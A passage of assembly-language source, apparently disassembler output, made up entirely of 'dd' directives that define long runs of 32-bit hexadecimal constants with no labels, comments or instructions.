		dd 91E91EA0h, 5217E392h, 0E3ED3EB6h, 8318E65Fh,	4AB76BE9h
		dd 1CA7D19Bh, 0C8F37A4Eh, 0D1F18A9Fh, 14D7CB0Eh, 921145B7h
		dd 679079FAh, 3D5053F7h, 57A469D0h, 0F1888E2Ah,	90F854E9h
		dd 5C89B738h, 0F8300B62h, 90426566h, 0E0B62D14h, 78ED8007h
		dd 5DA5AE7h, 0BB6A0579h, 0C501B7C1h, 2AB13D2Ah,	0C5B1C3F8h
		dd 7B26B02h, 0E0A0E984h, 302D681Ch, 0E6186463h,	0AC5395E7h
		dd 857B2202h, 0B82D4020h, 30E6B599h, 0C971AB27h, 0A26E3CEBh
		dd 0EB68822Eh, 0BFE456Bh, 0A091B10Eh, 5312A5Eh,	7270F766h
		dd 1A1F3A68h, 21D1C996h, 5DC929Ah, 0E28DCD92h, 58605E35h
		dd 0F19FD5C3h, 0E079CBF7h, 0F840E941h, 1F102F32h, 82BF04BDh
		dd 0EE879C88h, 0E83FA96h, 371E7DB8h, 24E20D43h,	85FD229Ah
		dd 834119A6h, 672CF828h, 0E66CABC9h, 1DB85A4h, 0CAE9E261h
		dd 99DD2BC0h, 81804C31h, 0A1685751h, 4D4C0D49h,	0FD9424CCh
		dd 6EB2BA80h, 62312C18h, 0AF49B4D0h, 7588D304h,	654C41A7h
		dd 0AB1BE0C7h, 4A8EAE97h, 0A0BA6DEh, 935679E4h,	6952A935h
		dd 623C578Ah, 688484B1h, 2DBE4D9Ah, 8062936Dh, 0A34B6EA7h
		dd 42E95A62h, 0E223C080h, 4ED0118h, 88680802h, 64CCD510h
		dd 0D3CA1C83h, 1B04E4F4h, 26C1DB40h, 942F59CBh,	510B01A5h
		dd 0A498CDE9h, 923B528Eh, 7E4959B7h, 0CF9B777Eh, 505067C1h
		dd 64AEBB37h, 29B0A27Eh, 0C52D40E8h, 9A27433h, 4396D029h
		dd 1B1A6815h, 7CAB2781h, 135E65C5h, 40A5D99Ah, 0D43132Ah
		dd 23F8614Ah, 5E3A884h,	0DFC5A58h, 0A56D8000h, 2CC5681Ch
		dd 8B20E915h, 0B5B04E87h, 2AB94196h, 2944EB97h,	9A0C2991h
		dd 31836D32h, 0ABF757D2h, 82AD88D6h, 0AB7209h, 426B79B9h
		dd 9AF1F6C0h, 0B276BB75h, 7E4906Ch, 0F91EE32Dh,	13E05062h
		dd 0F995274Ah, 22DD720Eh, 44AB0F79h, 4B502D57h,	0D79EA96Eh
		dd 0F2205E2Fh, 3429667Dh, 0C5CB921Fh, 5022EA9Ah, 0ED91F8EFh
		dd 440FDA30h, 2D13C358h
		dd 0B209C83Fh, 0B7FE7896h, 0A22FECE5h, 5D286854h, 46196C1Ah
		dd 0F1859F54h, 3BBB0520h, 0C75E6137h, 5A86AE49h, 0AE000C19h
		dd 872C7553h, 74D5F7EBh, 2ADDE431h, 9FE0D6E9h, 1DE872C8h
		dd 7E43492Fh, 0A61880EFh, 0CCE98BDBh, 0B800DC92h, 0FB175EBh
		dd 0F40E3925h, 0B5350049h, 53D9A6Bh, 0E53D43DDh, 5A660E50h
		dd 0BB0D0052h, 3B0B045Ch, 0C0160A2Dh, 0E927024Eh, 96D75686h
		dd 7DDE20E9h, 65C301B7h, 0BED5B45h, 0AC006C7Ch,	809EB252h
		dd 0D0F84BEAh, 7EF97E4Fh, 892E5FD6h, 8256625Ch,	9D24499Ch
		dd 0C47FA64Fh, 15E091Ah, 9F256C3h, 338A0531h, 0E16A40EAh
		dd 458C3A8Bh, 7D24129h,	0D883F291h, 21023E84h, 2B215BDFh
		dd 5268DD7Eh, 2A74522Fh, 0AD477D00h, 1330BF5Eh,	0AB5C6102h
		dd 50BB7B0Bh, 9CBA02DCh, 891D8662h, 3F48B961h, 69240E1h
		dd 99CF1B07h, 6E212D98h, 1401905h, 70005F8h, 4564355Fh
		dd 31531441h, 0AB1062C1h, 0EF881CC8h, 75873C89h, 0BF20E01Ch
		dd 0E2545A49h, 8510CA69h, 3866BF81h, 6EE928CFh,	804F9752h
		dd 62D0189h, 0C9CEF91Ch, 0F8205223h, 34FC5E83h,	941F8734h
		dd 0CADDEF54h, 7BE5D32Ah, 752A8958h, 615B3A79h,	804FC7B8h
		dd 0F312DEEh, 0DF9D4D3Dh, 8187F9EDh, 0DCE8F1EAh, 15A96112h
		dd 2DEDF898h, 0F2FA1B5Eh, 2CCC7D0Ah, 778B320h, 30FCC480h
		dd 0F609A2E1h, 0EC01E008h, 8958CE5Fh, 0DC43DB41h, 760C0479h
		dd 0FEA8BB30h, 8444C05Fh, 0B20E5268h, 0EEF08029h, 0C3E1EB45h
		dd 9B8175D6h, 2F2D0868h, 0B0D4E4CCh, 82374B25h,	3EEB5C28h
		dd 0BFC55226h, 51B9AB47h, 48E208E7h, 0CC7CC11Dh, 0E16E1949h
		dd 78BF5A2Dh, 8E3C089h,	0B4F27105h, 39D6C617h, 79D2E491h
		dd 9BA40F04h, 1A171325h, 0B185278Dh, 5894922h, 25BD2C7Ch
		dd 0C203897Eh, 0BA9475CEh, 76DCE927h, 12C797C0h, 0B597AAA2h
		dd 0B6AE8524h, 57791878h, 0B8F1F715h, 97596FCEh, 0CC1AEC01h
		dd 680C826Ch, 0D00D93A9h, 6ED395D9h, 44EE5D92h,	14CA7A07h
		dd 0D0D31346h, 0CE01E0F2h, 41012E50h, 60408346h, 0E80ACC5Eh
		dd 3B3ED9CDh, 0F500568Ch, 0FB9AD04Eh, 0E928EE31h, 0BDE2A80Dh
		dd 0EAC2FE12h, 80F97D13h, 0EB10C190h, 7FBD4F95h, 5E42FC25h
		dd 24B6E5F5h, 0B5792A43h, 9E6F11D1h, 47EF20A2h,	8803EA94h
		dd 0E2643878h, 250DDC89h, 68602DD1h, 9509367Fh,	8C5A9972h
		dd 0A33FCB39h, 0DB68C543h, 0C4027BA1h, 0A38D19Bh, 114DA30Fh
		dd 809D4EA2h, 0B9A6F4F4h, 0CEFE420Ch, 0C6506057h, 0E7BE787h
		dd 0C9379522h, 0C1782122h, 0FACD8502h, 0BB566AE9h, 0B7EC401h
		dd 0E1706108h, 0E7BC129Eh, 0D3F31D31h, 5F494734h, 4705B2C1h
		dd 0A1E51540h, 4AC54637h, 0E37834DDh, 2130B903h, 4A074B60h
		dd 79C0723Ah, 7ABDC961h, 18822EC5h, 0DAF68F08h,	6CAB0E55h
		dd 41AFDAF5h, 53F72A72h, 0E982A546h, 2DDD76E5h,	9A7F2A14h
		dd 0A68080Ah, 0A9E90536h, 91F8905Bh, 530254Eh, 0B1E3B043h
		dd 0B8C74C57h, 61F31016h, 4DAF035Bh, 3DB27EF4h,	0C3505E00h
		dd 0C839E96Eh, 0B78B4791h, 0B5C7E2Ch, 75028806h, 0C7DDEDC4h
		dd 40842D5Eh, 0B744BBA3h, 0BDAC4903h, 15F8B2C4h, 34F75863h
		dd 94C71198h, 0FF5FF9B2h, 0BD9E74A5h, 2B166977h, 0B52FDFD4h
		dd 13B32ECh, 1EEB1ED7h,	26C62518h, 0D320F191h, 7C5C0F0Dh
		dd 66612E75h, 0CC5F0802h, 0DE1AC1D7h, 826B8B33h, 5D041E0Ch
		dd 4AEADD16h, 0B8500802h, 0BF291485h, 7EDD952h,	5F2DAE92h
		dd 9F790F20h, 1892BD5Bh, 0C5FC9527h, 97CA2C80h,	3B2120Ch
		dd 7EAC02Eh, 88EE30DFh,	3FE75AD7h, 58F8BEF0h, 738142AFh
		dd 0EC79932Dh, 0F9977C4Bh, 6B54CB17h, 1DC6B42h,	786EF268h
		dd 1DD7C0A7h, 0F709C1h,	103E0DD8h, 142D5E17h, 6E1B111Fh
		dd 105D00Bh, 0E9902482h, 213BDCFAh, 4CE9C17Ch, 0D5B82A50h
		dd 8A9077E6h, 0FF944030h, 3B5169EBh, 0ED0F6AB5h, 59292850h
		dd 0CFC360DEh, 0C1550293h, 2DCADD5Dh, 0F1E6635Dh, 4BA5CEF5h
		dd 7D5B5DD8h, 0A2C4D313h, 0A8FCD0FBh, 0F0133DFDh, 0AFFCF921h
		dd 6391FEB5h, 5802DD19h, 7DA92442h, 3343757Eh, 0B3104B45h
		dd 4AFE2003h, 8BFC16DAh, 178052C2h, 3CBE4514h, 0EC9F0286h
		dd 0B2520055h, 46E2805Dh, 0C294F3E9h, 0FEF35F3Eh, 84B6B293h
		dd 45BE2A68h, 37B0E347h, 76AB8FDAh, 133C1459h, 0C589657Ch
		dd 0BF4E49E0h, 0A4750A29h, 1CB93902h, 1366F703h, 0CFB053E8h
		dd 0E43E2A1Ch, 4E71D3Ch, 0FC3F8FCBh, 0E6BD221Ch, 6E7C1784h
		dd 0E94BA0F8h, 79D07125h, 88F423D5h, 56259B88h,	0B8F2EF97h
		dd 8BA3B42Bh, 3F4B935Fh, 12812C8h, 88B3544Ah, 0B85A0C40h
		dd 359A5DCEh, 74455289h, 0EB5DDEAFh, 0ECC2455Ch, 0EB840486h
		dd 4426BD04h, 7FF18100h, 6E58BE6Bh, 38E1041Fh, 5D802846h
		dd 0BC31C4Ch, 4AD18718h, 906F8CD7h, 0E9805B6Eh,	70B8D61Dh
		dd 0CF1908D6h, 78A65F12h, 43EA277Dh, 0F7250E7Ah, 810E71BBh
		dd 35722A12h, 0A32E229h, 0B410710Ch, 0B23A3B73h, 92263B4Ch
		dd 2401C46h, 0F975E9E2h, 5F25DBC5h, 0DF0240A5h,	89F24B1Ah
		dd 0AE439612h, 9629B18Ch, 81CBE997h, 0FB340F9Dh, 1FDB03ABh
		dd 9B644525h, 9601C957h, 0FC70C7C5h, 48704568h,	205E81DBh
		dd 29127F51h, 5D012575h, 1F45528Ah, 5865C7F0h, 31247BB5h
		dd 0F4D827E7h, 1374D020h, 0E87BB868h, 54D2C432h, 0F2505207h
		dd 1CD55922h, 93E91203h, 0C370E447h, 9905C03Ah,	0EB10FB29h
		dd 0BFF85713h, 0BFFD0A59h, 0B4A84EF2h, 0EFDB4F85h, 6CE8A175h
		dd 0B3C713E4h, 10AD9597h, 0A75B8F74h, 0B4E148D7h, 0BC410F9h
		dd 0BF12D2h, 0CE70485Eh, 20E6812Dh, 770416F2h, 0FA59E94Eh
		dd 83FFFF9h, 7D300CF3h,	710C7887h, 93A3863Bh, 1841BE9h
		dd 93EBEDC3h, 0F5C6D2DFh, 0A827EECCh, 27CB5391h, 0E9629471h
		dd 33F1E8C1h, 0FDC49577h, 15BD1BDh, 0E2C0D0B2h,	0A4C06A07h
		dd 0B020BBF2h, 2F8BDA9h, 31B51974h, 53253696h, 9A423EF8h
		dd 0A1F55F8Ah, 4541CCB8h, 1254D7Eh, 0A5656Ah, 5701ABBh
		dd 0CBFA4367h, 2D09E60Ah, 0A225FD64h, 0D5E0E9D8h, 85980FE6h
		dd 0FFFFE271h, 0DA91E9FCh, 63388407h, 77FC5C09h, 0C66C6679h
		dd 0FA41E185h, 73E8CE30h, 0F20564D2h, 5B06E00Ch, 89EB47B5h
		dd 0EB2017E9h, 0E1C07CB1h, 1F2D057Ah, 68BA7950h, 3F71094h
		dd 0E35B14BFh, 5EFAD34Bh, 656D8115h, 0D1AF04A4h, 32E225C4h
		dd 6688229h, 48347D13h,	7831D99Fh, 7082CDC6h, 6002F0C5h
		dd 0F186104Ah, 8B97D6F6h, 1F96C05Eh, 0C389C0C7h, 0DF6B9C85h
		dd 93574B3Eh, 31EBA8F6h, 0F962C648h, 0E8BC9969h, 6099DA1Bh
		dd 88AD71CEh, 4FDF438h,	0A2063568h, 0D4F73594h,	0B6B11FFCh
		dd 69E26ECDh, 9BDE0E86h, 1479EF1Eh, 9C4F2C4Fh, 1320EA9Fh
		dd 8535730h, 0B91F7A52h, 78283F87h, 468D62A2h, 54533D31h
		dd 3829B10h, 15DEE29h, 18727DDEh, 687C8E2Dh, 7E2EBDD4h
		dd 6DA8686Eh, 8C30C40Ch, 13C20C3Eh, 0A97B5D13h,	7E5E8641h
		dd 0ADEB5EA9h, 915F2DE6h, 0A72A5B93h, 6FC44E39h, 7FD982AFh
		dd 30089E61h, 6307282Bh, 0EE814FDBh, 1521016Bh,	6A54E9h
		dd 0E4BF5A18h, 0E0B6149h, 7759CF31h, 59BD3914h,	0CC4D2h
		dd 68D5F795h, 0C1B9546h, 7E73C7C1h, 9FA3E926h, 0E9164E70h
		dd 1C20D291h, 2502EDEAh, 95A6A4Ch, 9EFF0883h, 3EE304F2h
		dd 0C6E2BA46h, 1008B25Ah, 0B80F4019h, 278F0E3Eh, 0E76E4644h
		dd 53582F93h, 714C8BFEh
		dd 0AA573C30h, 1E61BE80h, 9238847Ah, 2F2CF12Bh,	0C83F65CAh
		dd 60C10DB9h, 684F170Fh, 0ED288BE3h, 88EAB616h,	3E2C78CFh
		dd 100DC501h, 0B202567h, 0F75607C6h, 2B4696D8h,	89BD99F5h
		dd 0FB43D96Ch, 38CC3D5Bh, 0CAC1D774h, 500C1EBh,	0BF0F067Bh
		dd 9CC70108h, 3E415ABCh, 38BB0A65h, 8A621F3Fh, 8BCCFB88h
		dd 2975EF68h, 0CB70D16Ch, 0D6C2DD76h, 926F80E1h, 0BF27487Fh
		dd 5871DCDAh, 610B3551h, 0E90C0001h, 38D33F39h,	932567CBh
		dd 0AFEDCA68h, 0FBE1433Fh, 53A8122Fh, 1AAC4D1Ah, 7AA14A55h
		dd 4182D92Bh, 4DD918E2h, 56C26AE0h, 58844431h, 206B3BE9h
		dd 0CB4F8279h, 0EDD952D9h, 0DA5048DDh, 32088CBEh, 6F8C0B19h
		dd 0D00C943h, 73853BB6h, 979137E9h, 409D8BA2h, 0CBCF3571h
		dd 53EF810h, 0E8F04D35h, 6802B018h, 4678DB25h, 4CD10170h
		dd 8E93366h, 2E8C7E67h,	36912D68h, 57C514D6h, 0FAD974D8h
		dd 0DA79A3CDh, 513554D3h, 3E5FF4C2h, 49A2E3C1h,	58707D25h
		dd 0C96713BDh, 5F33015Ch, 6B3DD80Fh, 0CCC151D0h, 0BFEA309Fh
		dd 3B25BA0Ch, 210A0F4Fh, 31E08E9h, 0EF6FE867h, 1B4CBD58h
		dd 0A1086590h, 1A044764h, 225D0D9Dh, 51E46C36h,	0D5DD0E07h
		dd 818509ABh, 2EEEC54h,	0D907E6BBh, 839EC07Bh, 2077F7EBh
		dd 0ADEC2716h, 19F4D693h, 9F6C7868h, 0E9C1EBE5h, 5588FE94h
		dd 0B0283DC8h, 25695620h, 0D5FA5D5Bh, 0C0629A05h, 9CBE5822h
		dd 90B74B3Ch, 82A7E559h, 0FA2FEE5Fh, 476D5A75h,	9206EFC5h
		dd 15D7A123h, 437E259Ah, 0D310921Ch, 0AE31AA4Bh, 0F16077B1h
		dd 42EDBC49h, 7560A105h, 0C64B89CCh, 0A1520BCCh, 0BD2A84E3h
		dd 4CC99E32h, 60AC1AAFh, 207F7E8Ch, 0F6010356h,	0E92D6655h
		dd 14549ED3h, 17CE9B08h, 632CFAADh, 7D7E023Ah, 6F8FE97Fh
		dd 0D6FA93C4h, 0C1F9222Ch, 6EB75B13h, 46D2680Bh, 48616FDh
		dd 0B457DD05h, 4179E850h, 1FA26A07h, 829974CDh,	0A71676BEh
		dd 2D407D02h, 6818524Bh, 942B7F2Ah, 50AC8161h, 0D0287DB5h
		dd 549235F8h, 9F059CBDh, 0E916B370h, 2E218245h,	97625AD7h
		dd 0FC86097Fh, 0BA8497BBh, 4864EF44h, 556B808h,	0F01A850Fh
		dd 29B1688Dh, 0F5DF1389h, 0E4C9C29Bh, 74A9AD47h, 0CE840B7Dh
		dd 5695D3D9h, 0E6B41FCDh, 0C87067CBh, 2D2E180Fh, 295E17DAh
		dd 2875C187h, 0F1602987h, 5B3CFA5Ah, 0A5421611h, 0EB01402Ah
		dd 3E13786Fh, 3FA0E3E9h, 506500B3h, 0EC80A3B4h,	30FB28E2h
		dd 0C3F0F300h, 0A25AC128h, 0D9B05009h, 5B277688h, 0F621B6F8h
		dd 0C680D60Eh, 4CCE6757h, 28FC216Fh, 54CE5AF3h,	1E392408h
		dd 0BEE57525h, 25A39308h, 6408BBDCh, 556807E7h,	0C7550905h
		dd 0AE0C3413h, 6882FBB6h, 18663BA8h, 0A32F64B0h, 0E5F1A2E8h
		dd 0C25907A5h, 465F795Ah, 4611E761h, 5F6F22C5h,	5A0D81FCh
		dd 6E7903C7h, 40F469C8h, 469551EFh, 5024B4D9h, 9694F021h
		dd 83A65F52h, 0D89FFD66h, 135DB1DDh, 0A2B8782h,	0F4605501h
		dd 1D05E91Ch, 3CE885CAh, 0B7106331h, 0BE2101B0h, 0B9340888h
		dd 0CC6A608h, 0E3283FF6h, 624E4D40h, 0B43E1021h, 35CE002h
		dd 8105761h, 30194917h,	8CD2694Ah, 18534008h, 0A9BC40E1h
		dd 97102362h, 5CC107CFh, 41639A08h, 186A8418h, 18DA7008h
		dd 0D08061CFh, 0DF10C688h, 0DE6308D6h, 187311A1h, 1890E708h
		dd 8C65054h, 31187F15h,	0ED088CB8h, 84F60764h, 0B7583620h
		dd 7BF48161h, 0C31B1C8h, 94085AA9h, 402C7640h, 9363673Eh
		dd 107E6A28h, 18B14D08h, 7D2082EFh, 0A008C434h,	0A8D40628h
		dd 0A45C5420h, 0FC164065h, 4FCD6041h, 9915FB03h, 31988EB4h
		dd 54D80894h, 818D188Ch, 8CEB2B08h, 87B1D18h, 18EE63D1h
		dd 82ABA44h, 4962A4EDh,	337B9B9h, 8102657h, 831898C0h
		dd 6D2930C7h, 0C6914080h, 864BE10h, 0FC593762h,	46D00570h
		dd 868D3E0h, 6B499E62h,	0D42D03FBh, 0E657083Ah,	20F98018h
		dd 0A2328D12h, 34B11EBh, 28313C77h, 0FF89D9F3h,	0B0A008B9h
		dd 0B4F85954h, 89288CE9h, 6558085Bh, 460B18B5h,	10AD2AECh
		dd 8C5D771h, 0E04D87B3h, 62FD1067h, 8C0C8D01h, 18F55E08h
		dd 0B5C9C68Ch, 455408C3h, 5D407AC4h, 8EA637Bh, 0F144C656h
		dd 0F4A8A6BCh, 18CC8EA2h, 622DA123h, 2974109Ch,	2BB9002h
		dd 0DCA69DF4h, 802008FEh, 0CDBF2048h, 20EF9F20h, 472097B6h
		dd 1BA0246Ah, 8339920h,	0B8B988B5h, 0AF9D08C8h,	8A4F20Ch
		dd 68B94098h, 0B3305F64h, 0B107BC91h, 9CA2D202h, 0A0A44EAEh
		dd 9650443h, 10725C93h,	24847A18h, 3BACA8D2h, 4D40042Ah
		dd 0AF9C66Dh, 167F08D1h, 816BFA80h, 0D2198CA3h,	92C34854h
		dd 0FADA31D4h, 88E23C18h, 8694C08h, 630C84B7h, 406E285Dh
		dd 85404F95h, 0E4F640EBh, 48238240h, 6199C07Eh,	8ACB018Eh
		dd 1A1B901h, 5601BF93h,	2A299055h, 8CF04624h, 320B2F3h
		dd 0EB3D3040h, 24A08101h, 0FC759CCCh, 6826A499h, 453EEF06h
		dd 0C18B4B1Eh, 8042561Ah, 2C473B10h, 31EB0275h,	0B90E8913h
		dd 3DBDA7h, 8F440105h, 0B0B4940h, 8BF775C9h, 23D830Eh
		dd 0B9F003DEh, 333C3DE4h, 0B10F06C0h, 0B22C304Fh, 0AF62BD38h
		dd 580827C0h, 7D00805Eh, 164E14B4h, 50D116F7h, 9653F8B8h
		dd 906F5000h, 0D0C1014Bh, 5826082Ch, 0F83809D7h, 4ADA98D7h
		dd 0FCD1B2FAh, 12725B0h, 7D697859h, 4735106Eh, 1EBB20EFh
		dd 8C540CA8h, 0D0B88810h, 4EBC007h, 0CAD35166h,	0B4565A46h
		dd 0B625683Dh, 0B3CA903Eh, 3BE9197Dh, 3FF01576h, 0BA002064h
		dd 631D6C5Dh, 0EFC2A129h, 0FEE90840h, 0BF38C0B3h, 62C64CFAh
		dd 98204397h, 76CB35FDh, 5ACF0E2Ah, 0E0521C20h,	0D803DFC3h
		dd 0F0E99767h, 513E28F6h, 5BA506A3h, 0D7480312h, 8D2D4007h
		dd 0B93070DEh, 3F0293C6h, 0B0DC29D7h, 63C181B4h, 5BEA923Fh
		dd 0B67A1DE1h, 62A996C0h, 682FF7B6h, 0A060C6E0h, 272826F2h
		dd 2DF8595Bh, 20E7E1E6h, 0D96BB375h, 8824E52Ah,	0C748B850h
		dd 4AC008h, 52AEE181h, 560F1314h, 8F74C9BEh, 65C68009h
		dd 2E6AF0FCh, 0CF9F131h, 89342440h, 8D37C577h, 1ED14313h
		dd 22E9A28h, 3AFB5F61h,	9DBE8D60h, 26D8CAA8h, 0F020082Dh
		dd 0EBC112ABh, 64660706h, 15DE144h, 0A7FD65CBh,	0FEAD430h
		dd 36004A9Fh, 10D6EA81h, 0C4EF030h, 5F8039C5h, 1D8F85E7h
		dd 0BE462541h, 41212B13h, 107EE902h, 0C9EEF501h, 0F32F009Eh
		dd 8BE986BBh, 0F3054999h, 925C0C5Ah, 1273A2BCh,	0F01AE9C2h
		dd 0D777282Ch, 0EA6A935h, 810E34F3h, 0CD002FC2h, 0E6BD554Fh
		dd 0F7478ECBh, 0EB535505h, 9BF1D88h, 0D247937h,	23B96B07h
		dd 0EDB06D43h, 0EE0C5547h, 94FD293Fh, 596680A0h, 20B8204Eh
		dd 526368B0h, 6134FBB5h, 7DB1C5E9h, 0ACD090Fh, 6CF30E86h
		dd 0ECB916E0h, 0B5735027h, 222525C1h, 0F1006CD6h, 764065AFh
		dd 0A5BF0457h, 0BDC2AB2Fh, 0CDD84198h, 0C5810030h, 0DC3307BCh
		dd 0D3525E06h, 1A1D8B37h, 0D6CDEAD1h, 0C06F0E07h, 69906837h
		dd 0C060C69Eh, 0CA743D7Bh, 7D93888h, 0B23298BEh, 0C451892Eh
		dd 4225269h, 319D7959h,	36F3AF29h, 0A2580C40h, 7C1C5DFBh
		dd 6CD2957Dh, 4F752BFBh, 7DB78140h, 0EA53542Ch,	0B2520061h
		dd 0FED2F6CBh, 0E23980C2h, 345FF502h, 0A3927BA8h, 0AE2C04D8h
		dd 8E81B353h, 0B05DCD1h, 6662B261h, 4BDE5A8h, 0C1EC2807h
		dd 84169E88h, 0AA04AC1Ch, 77B5A5C0h, 69A12568h,	7B8653F1h
		dd 0EC205352h, 0CF883B48h
		dd 0D3455925h, 0CBF9BF3Eh, 148AB981h, 64D8B825h, 0D016229h
		dd 6FFA5FECh, 64F1304h,	628521D3h, 0A3A9611Ch, 532DBE83h
		dd 0D687B172h, 3CA0A32Bh, 0C4E90C31h, 5FB20EA8h, 74B2A96Dh
		dd 6304F03Ch, 4B8895FAh, 73C3A020h, 7D9C094Dh, 1BB8F134h
		dd 0A4196DB8h, 882C1059h, 0F57D86h, 0EF1483B8h,	22F64865h
		dd 4940196Eh, 0DDFF1C8h, 0D4164CB3h, 1F934567h,	1750F700h
		dd 8C4C2922h, 21E90C81h, 583C93EFh, 0F51CCEB8h,	0ED4F3866h
		dd 0C556B2E4h, 912E8C93h, 550CEA29h, 0C3EE521h,	1F491690h
		dd 0E9E9E064h, 701E3634h, 0E50044C4h, 6DF180FDh, 0CF03FCC0h
		dd 89BD0706h, 0A92460ABh, 0AF6FD4D7h, 12D2B9B2h, 0C425E349h
		dd 58E0ACE9h, 283E05B2h, 0EB148BD5h, 8003412Fh,	0E528B8EDh
		dd 6AEC5ABh, 79E93E05h,	2CCC0141h, 1864149h, 9F43F0E2h
		dd 151C541Ch, 0D4050C71h, 93EC9C0h, 4BB2685Fh, 4D89DED9h
		dd 8C567C13h, 0C38F18FBh, 5923D80Bh, 7E140021h,	0A003E509h
		dd 917A0F8Ch, 34588813h, 1E725E13h, 0C7B18FEAh,	0B064E92Bh
		dd 3C72D8FAh, 0B647BE3h, 9396F6AAh, 5EB82860h, 76C2000Ah
		dd 2427725h, 74000D7Eh,	48711930h, 73512235h, 3E63BF8Ah
		dd 852D7BC0h, 0B000337Dh, 2578BC3Eh, 0A761147h,	68D8E962h
		dd 0C2F20360h, 89F98850h, 0D2F062D1h, 550A98FFh, 75EB75BEh
		dd 2F20BF1Ch, 6851079Ah, 49E31A2Eh, 4D9B0E82h, 7CBBD080h
		dd 8D054519h, 315BDE29h, 0A26FCCC9h, 9FFBD2DFh,	5FC21C00h
		dd 32BF8D21h, 24A62168h, 0F62D06A2h, 5AF7F0DAh,	8ADFE4C6h
		dd 3E55320Fh, 1B066458h, 0C7E0F495h, 0E2BD5687h, 0D4C5CC64h
		dd 0DF08FE6Eh, 2C11283Fh, 6BDCD534h, 0BB42CA70h, 2CFA4610h
		dd 570B601h, 6F0C1646h,	4101E819h, 0BABB5807h, 9F4D860Bh
		dd 7B900432h, 48A3BE0Eh, 45D20592h, 0C0067D7Ch,	75EA03EAh
		dd 50440980h, 0ED57FB0h, 40A829D0h, 0D73A779Ah,	349CADDBh
		dd 8982D9C7h, 0C3C0E806h, 524317A9h, 3F5E0102h,	70332342h
		dd 60822DD8h, 0B0FED93Ah, 0C0D32E56h, 0B6052DBFh, 806BE461h
		dd 0B43EF324h, 816CEE08h, 0BD6D76EDh, 0BEC93013h, 904E446Bh
		dd 3D72C0C7h, 0CFA02A84h, 0C020883h, 7F7C55ECh,	289A5759h
		dd 0BA1165Fh, 76917738h, 0F6D49082h, 0D6F3656h,	0A22B106Dh
		dd 2168825Ch, 685A725h,	753A9AE9h, 0DD49B271h, 0C7A30DB8h
		dd 94DD0AD1h, 3F4126FDh, 2202FB6Ah, 8109F154h, 0C92933ACh
		dd 0C0C4802Bh, 23305C06h, 0B61D0E43h, 0FDA75BF6h, 5ABF02B0h
		dd 7550925Dh, 900113D2h, 684E7E4Bh, 72364735h, 916A2312h
		dd 2FF12BCBh, 757970F2h, 7F582EB9h, 76AF09D8h, 55C19Ah
		dd 645EF28Ch, 152D00EFh, 2942E231h, 7A105C8h, 67F5D859h
		dd 816862Fh, 53E07DAh, 0A654383h, 7814B8h, 71204B9Eh, 26373081h
		dd 969D51F2h, 0FC582027h, 0D1D5F726h, 0B90F1810h, 1C4B070Dh
		dd 17079F89h, 49F0EBD1h, 3B08C351h, 49DD5EB4h, 0E5015E3Eh
		dd 5511525Ch, 2A77DAC1h, 66033EEDh, 3C316972h, 0F58A0318h
		dd 0EBBF6EFh, 0A925E929h, 0FD11D22Eh, 0A0C5B280h, 7E0B2AC9h
		dd 0E664B368h, 7EB0961h, 5B00140Dh, 0CB211B0h, 80EF2920h
		dd 1505D08h, 0C24AB3B8h, 6248E97Ah, 52F303DAh, 673022Fh
		dd 0D46F50DCh, 8809D825h, 89E8CF43h, 0FCDDB18h,	0FB7628FEh
		dd 3FB28B61h, 0F841100Ch, 922DA8F3h, 0F1EAA036h, 242314E7h
		dd 0B404F06Eh, 0AEEF4ADAh, 5FCFDEE0h, 0CBBBB861h, 8867CF3h
		dd 0BA01C685h, 7409683Dh, 26717EE9h, 0C4818C28h, 0F438FC15h
		dd 2B9AE5CCh, 6120A790h, 885B5E22h, 2B7AD93Eh, 95CA389Dh
		dd 1670831Fh, 76807019h, 0BC75F996h, 316D5840h,	0CA7C6E66h
		dd 9A033F67h, 0C83212F8h, 512F5AC5h, 0DB8E7C52h, 3240D232h
		dd 4E25E466h, 87E88278h, 8480EE03h, 28A1F2ABh, 0AB201E10h
		dd 840F0B2Ch, 0A95CC14Ah, 306CC64Fh, 4ECF07DBh,	6076EE7Ch
		dd 0F44F85F7h, 1E115448h, 6453E56Dh, 7FCE43A1h,	0C5FC5AA0h
		dd 0AAC17FD5h, 71592C1Dh, 0AA5C280h, 5CE9155Eh,	7D25619Ch
		dd 58970094h, 8EEEB5D7h, 6374D695h, 9E4A0BCEh, 282AEE3h
		dd 0A0C81CE9h, 280E16B3h, 835B66DCh, 0CFC480FCh, 1CE4856Eh
		dd 0F65043FBh, 0E18031B1h, 0CC7C0858h, 0C22A5963h, 0FD6E2D52h
		dd 7AC70219h, 0FD29A60Bh, 7C42516h, 12AA3DE9h, 902BEA7Dh
		dd 80A2BC5Bh, 151744B9h, 7851971Eh, 75164C26h, 655F3D0Fh
		dd 3BECECE8h, 96D868C9h, 936CC397h, 7CC6A2F1h, 9F094B93h
		dd 9D0D4455h, 0D4FD57C4h, 32B10126h, 0EB1EEC28h, 2DC0025Ch
		dd 22304660h, 40C0E0Dh,	47BE1975h, 0F07C1B73h, 44FD6ADFh
		dd 0F314051Dh, 0C689C444h, 0B24E84CBh, 0ACFC5FBDh, 528C57CAh
		dd 3114C8DDh, 0CF3BCC09h, 5E128720h, 0BA167DABh, 0AAF49DE9h
		dd 0DE909772h, 26A7BBCCh, 883C2764h, 7EB993D0h,	0ECDBAECh
		dd 1C126E55h, 7E3E7A10h, 0C6FFB525h, 25614D28h,	44F2811Ch
		dd 0B2236FEEh, 27B75833h, 99C09D0h, 0B9A584DCh,	0E3C5F1FCh
		dd 911EB228h, 0CC6313D9h, 0F94EF5E7h, 59CB8469h, 71E992AEh
		dd 2CBE8649h, 2B0AC161h, 3340954h, 0E9719D56h, 0E0A1174Eh
		dd 9214FBE9h, 9784E396h, 0DB2CAB45h, 81BE1F56h,	8772C526h
		dd 96E86EEh, 0F609DE7Ch, 808666A5h, 0E907E626h,	0F428499Ah
		dd 0A302DA69h, 4EFFAAD1h, 0B8C1F7FFh, 0BD5C972Eh, 0F404DB6Dh
		dd 40C96B6Eh, 0FF49DCA2h, 0EE020C41h, 0C148EC88h, 544357A4h
		dd 1A3F2230h, 2D391E9h,	633B6BD8h, 0FF52D97Bh, 222C8B01h
		dd 0AD83508Bh, 5A133506h, 980BA92Dh, 778F02B5h,	0C5017965h
		dd 0F845DC3h, 6CF10B5Eh, 0F1F697C2h, 0F4B84152h, 0EBBEB42Ah
		dd 0BF5DF079h, 9D647E64h, 5BB2211Dh, 0BA5E8D7h,	238253Dh
		dd 4C4C195Dh, 0C548E627h, 4C72110h, 7B97B3h, 0AE77C4BAh
